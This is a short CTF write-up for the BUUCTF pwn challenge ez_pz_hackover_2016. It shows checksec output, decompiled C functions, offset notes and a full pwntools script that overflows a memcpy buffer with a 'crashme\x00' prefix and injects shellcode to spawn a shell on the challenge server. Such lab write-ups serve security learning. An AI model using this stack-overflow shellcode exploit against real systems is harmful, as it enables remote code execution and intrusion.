ez_pz_hackover_2016
Ubuntu16
0x01
checksec
1 2 3 4 5 6 7 [*] '/home/zelas/Desktop/pwn/ez_pz_hackover_2016/ez_pz_hackover_2016' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
//没有开保护
IDA
chall()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int chall () { size_t v0; int result; char s[1024 ]; _BYTE *v3; printf ("Yippie, lets crash: %p\n" , s); printf ("Whats your name?\n" ); printf ("> " ); fgets(s, 1023 , stdin ); v0 = strlen (s); v3 = memchr (s, 10 , v0); if ( v3 ) *v3 = 0 ; printf ("\nWelcome %s!\n" , s); result = strcmp (s, "crashme" ); if ( !result ) result = vuln((char )s, 0x400 u); return result; }
vuln() //一个字符串复制函数
1 2 3 4 5 6 void *__cdecl vuln (char src, size_t n) { char dest[50 ]; return memcpy (dest, &src, n); }
0x02
思路 ret2shellcode
1.用crachme\x00 进入vuln()实现溢出
2.计算偏移
s - rbp 0x16
s - shellcode 0x1c
s
0x16
rbp
0x4
ret
[rbp-shellcode]
0x03
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch='i386' , log_level='debug' ) io = remote('node4.buuoj.cn' , 26257 ) io.recvuntil(b'crash: ' ) stack_addr = int (io.recv(10 ), 16 ) print ('[+] stack_address -->' , hex (stack_addr))padding = 0x32 + 0x4 shellcode = asm(shellcraft.sh()) offset = 0x1c payload = b"crashme\x00" +b"a" *18 +p32(stack_addr-0x1c )+shellcode delim = b'> ' io.sendlineafter(delim, payload) io.interactive()